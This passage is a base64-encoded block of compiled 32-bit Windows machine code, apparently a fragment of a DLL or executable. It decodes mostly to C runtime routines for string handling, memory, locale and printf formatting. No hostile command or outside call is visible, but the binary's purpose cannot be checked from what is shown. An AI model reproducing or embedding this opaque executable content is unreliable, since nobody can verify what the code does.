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3g+///i3/8ib30+///hf8PiREJAACDjfT7////6QUJAACLhfT7//9rwAoPt8mNRAjQiYX0+///6eoIAAAPt8GD+El0V4P4aHRGg/hsdBiD+HcPhc8IAACBjfj7//8ACAAA6cAIAABmgz5sdRcD84GN+Pv//wAQAACJtcD7///powgAAION+Pv//xDplwgAAION+Pv//yDpiwgAAA+3BoP4NnUfZoN+AjR1GIPGBIGN+Pv//wCAAACJtcD7///pZAgAAIP4M3UfZoN+AjJ1GIPGBIGl+Pv///9///+JtcD7///pQAgAAIP4ZA+ENwgAAIP4aQ+ELggAAIP4bw+EJQgAAIP4dQ+EHAgAAIP4eA+EEwgAAIP4WA+ECggAAIOloPv//wCLhdz7//9RjbXo+///x4XU+///AQAAAOh8/P//6eEHAAAPt8GD+GQPjy8CAAAPhMACAACD+FMPjxsBAAB0foPoQXQQK8N0WSvDdAgrww+F3wUAAIPBIMeFmPv//wEAAACJjeT7//+Djfj7//9Ag730+///AI2d/Pv//7gAAgAAiZ3w+///iYXs+///D42SAgAAx4X0+///BgAAAOnsAgAA94X4+///MAgAAA+FyAAAAION+Pv//yDpvAAAAPeF+Pv//zAIAAB1B4ON+Pv//yCLnfT7//+D+/91Bbv///9/g8cE9oX4+///IIm94Pv//4t//Im98Pv//w+E9wQAAIX/dQuhcNQEEImF8Pv//4Ol7Pv//wCLtfD7//+F2w+OEAUAAIoGhMAPhAYFAACNjaj7//8PtsBRUOjHZAAAWVmFwHQBRkb/hez7//85nez7//980OnbBAAAg+hYD4T1AgAAK8MPhJQAAAArwg+E9v7//yvDD4W6BAAAD7cHg8cEM/ZG9oX4+///IIm11Pv//4m94Pv//4mFpPv//3RCiIXI+///jYWo+///UIuFqPv//8aFyfv//wD/sKwAAACNhcj7//9QjYX8+///UOiBgAAAg8QQhcB5D4m1uPv//+sHZomF/Pv//42F/Pv//4mF8Pv//4m17Pv//+k2BAAAiweDxwSJveD7//+FwHQ6i0gEhcl0M/eF+Pv//wAIAAAPvwCJjfD7//90EpkrwseF1Pv//wEAAADp8QMAAIOl1Pv//wDp5wMAAKFw1AQQiYXw+///UOhT3v//WenQAwAAg/hwD4/4AQAAD4TgAQAAg/hlD4y+AwAAg/hnD47p/f//g/hpdHGD+G50KIP4bw+FogMAAPaF+Pv//4DHheT7//8IAAAAdGGBjfj7//8AAgAA61WLN4PHBIm94Pv//+i8YQAAhcAPhGMFAAD2hfj7//8gdAxmi4Xo+///ZokG6wiLhej7//+JBseFuPv//wEAAADp9AQAAION+Pv//0DHheT7//8KAAAAi434+///98EAgAAAD4SnAQAAiweLVwSDxwjp0wEAAHUWZoO95Pv//2d1XceF9Pv//wEAAADrUTmF9Pv//34GiYX0+///gb30+///owAAAH43i7X0+///gcZdAQAAVujnEwAAWYmFxPv//4XAdBCJhfD7//+Jtez7//+L2OsKx4X0+///owAAAIsHizXE0gIQg8cIiYWQ+///i0f8iYWU+///jYWo+///UP+1mPv//w++heT7////tfT7//+JveD7//9Q/7Xs+///jYWQ+///U1D/NWjdBBD/1v/Qi734+///g8QcgeeAAAAAdB2DvfT7//8AdRSNhaj7//9QU/81dN0EEP/W/9BZWWaDveT7//9ndRiF/3UUjYWo+///UFP/NXDdBBD/1v/QWVmAOy11EYGN+Pv//wABAABDiZ3w+///U+kG/v//x4X0+///CAAAAImVvPv//+skg+hzD4Rp/P//K8MPhIz+//+D6AMPhbsBAADHhbz7//8nAAAA9oX4+///gMeF5Pv//xAAAAAPhGz+//9qMFhmiYXM+///i4W8+///g8BRZomFzvv//4md2Pv//+lH/v//98EAEAAAD4VN/v//g8cE9sEgdBiJveD7///2wUB0Bg+/R/zrBA+3R/yZ6xOLR/z2wUB0A5nrAjPSib3g+///9sFAdBuF0n8XfASFwHMR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi/qL2HUCM/+DvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vDC8d1BiGF2Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLwwvHdC2LheT7//+ZUlBXU+jEYAAAg8EwiZ2M+///i9iL+oP5OX4GA428+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dF+FwHQHi8aAODB0VP+N8Pv//4uF8Pv///+F7Pv//8YAMOs9hf91C6F01AQQiYXw+///i4Xw+///x4XU+///AQAAAOsKS2aDOAB0B4PAAoXbdfIrhfD7///R+ImF7Pv//4O9uPv//wAPhagBAACLhfj7//+oQHQrqQABAAB0BGot6w6oAXQEaivrBqgCdBRqIFlmiY3M+///x4XY+///AQAAAIu90Pv//yu97Pv//yu92Pv//4m95Pv//6gMdSTrHouF3Pv//2ogjbXo+///T+jy9f//g73o+////1l0BIX/f97/tdj7//+LvZz7//+Lndz7//+Nhcz7//9QjYXo+///6LcBAAD2hfj7//8IWVl0L/aF+Pv//wR1Jou95Pv//+saajCNtej7//+Lw0/olPX//4O96Pv///9ZdASF/3/ig73U+///AHVri53s+///hdt+YYu98Pv//42FqPv//1CLhaj7////sKwAAACNhaT7//9XUEvoBHsAAIPEEImFjPv//4XAfiT/taT7//+Lhdz7//+Ntej7///oKPX//wO9jPv//1mF23+w6y6Djej7////6yX/tez7//+LvZz7////tfD7//+Lndz7//+Nhej7///o5gAAAFlZg73o+///AHwz9oX4+///BHQqi73k+///6x6Lhdz7//9qII216Pv//0/ov/T//4O96Pv///9ZdASF/3/eg73E+///AHQT/7XE+///6K+8//+DpcT7//8AWYu1wPv//w+3BomF5Pv//2aFwHQvi5Wg+///i73g+///i8jpa/X//+ha2v//xwAWAAAA6Kbg//+AvbT7//8A6RH1//+AvbT7//8AdAqLhbD7//+DYHD9i4Xo+///i038X14zzVvok7f//8nDkMcLAhCxCQIQ4wkCEEAKAhCNCgIQmQoCEOAKAhDoCwIQi/9Vi+xR9kMMQFaL8IsHiUX8dA2DewgAdQeLRQwBButDgycAg30MAH41i0UID7cA/00MUIvD6M7z//+DRQgCgz7/WXUPgz8qdRBqP4vD6Lbz//9Zg30MAH/Qgz8AdQWLRfyJB17Jw4v/VYvsgex4BAAAofjSBBAzxYlF/FOLXRRWi3UIM8BX/3UQi30MjY20+///ibXU+///iZ3k+///iYWs+///iYX4+///iYXY+///iYX0+///iYXc+///iYWw+///iYXQ+///6MG8///oJ9n//4mFnPv//4X2dSvoGNn//8cAFgAAAOhk3///gL3A+///AHQKi4W8+///g2Bw/YPI/+ntCgAAM/Y7/nTPD7cXibXo+///ibXs+///ibXE+///ibWo+///iZXg+///ZjvWD4SkCgAAagJZA/mJvaD7//85tej7//8PjHgKAACNQuBmg/hYdw8Pt8IPtoCo6wIQg+AP6wIzwIu1xPv//2vACQ+2hDDI6wIQagjB6AReiYXE+///O8YPhE////+D+AcPhw0KAAD/JIVdIAIQM8CDjfT7////iYWY+///iYWw+///iYXY+///iYXc+///iYX4+///iYXQ+///6eAJAAAPt8KD6CB0SIPoA3Q0K8Z0JCvBdBSD6AMPhbYJAAAJtfj7///ptwkAAION+Pv//wTpqwkAAION+Pv//wHpnwkAAIGN+Pv//4AAAADpkAkAAAmN+Pv//+mFCQAAZoP6KnUriwODwwSJneT7//+Jhdj7//+FwA+JZgkAAION+Pv//wT3ndj7///pVAkAAIuF2Pv//2vACg+3yo1ECNCJhdj7///pOQkAAIOl9Pv//wDpLQkAAGaD+ip1JYsDg8MEiZ3k+///iYX0+///hcAPiQ4JAACDjfT7////6QIJAACLhfT7//9rwAoPt8qNRAjQiYX0+///6ecIAAAPt8KD+El0UYP4aHRAg/hsdBiD+HcPhcwIAACBjfj7//8ACAAA6b0IAABmgz9sdRED+YGN+Pv//wAQAADppggAAION+Pv//xDpmggAAION+Pv//yDpjggAAA+3B4P4NnUZZoN/AjR1EoPHBIGN+Pv//wCAAADpbQgAAIP4M3UZZoN/AjJ1EoPHBIGl+Pv///9////pTwgAAIP4ZA+ERggAAIP4aQ+EPQgAAIP4bw+ENAgAAIP4dQ+EKwgAAIP4eA+EIggAAIP4WA+EGQgAAIOlxPv//wCLhdT7//9SjbXo+///x4XQ+///AQAAAOhP8P//WenwBwAAD7fCg/hkD48xAgAAD4S/AgAAg/hTD48cAQAAdH+D6EF0ECvBdForwXQIK8EPheEFAACDwiDHhZj7//8BAAAAiZXg+///i430+///g434+///QI29/Pv//7gAAgAAib3w+///iYXs+///hckPiY4CAADHhfT7//8GAAAA6d4CAAD3hfj7//8wCAAAD4XJAAAAg434+///IOm9AAAA94X4+///MAgAAHUHg434+///IIu99Pv//4P//3UFv////3+DwwT2hfj7//8giZ3k+///i1v8iZ3w+///D4T5BAAAhdt1C6Fw1AQQiYXw+///g6Xs+///AIu18Pv//4X/D44RBQAAigaEwA+EBwUAAI2NtPv//w+2wFFQ6JhYAABZWYXAdAFGRv+F7Pv//zm97Pv//3zQ6dwEAACD6FgPhN8CAAArwQ+ElQAAAIPoBw+E9P7//yvBD4W6BAAAD7cDg8MEM/ZG9oX4+///IIm10Pv//4md5Pv//4mFpPv//3RCiIXI+///jYW0+///UIuFtPv//8aFyfv//wD/sKwAAACNhcj7//9QjYX8+///UOhRdAAAg8QQhcB5D4m1sPv//+sHZomF/Pv//42F/Pv//4mF8Pv//4m17Pv//+k2BAAAiwODwwSJneT7//+FwHQ6i0gEhcl0M/eF+Pv//wAIAAAPvwCJjfD7//90EpkrwseF0Pv//wEAAADp8QMAAIOl0Pv//wDp5wMAAKFw1AQQiYXw+///UOgj0v//WenQAwAAg/hwD4/lAQAAD4TNAQAAg/hlD4y+AwAAg/hnD47n/f//g/hpdG6D+G50JIP4bw+FogMAAPaF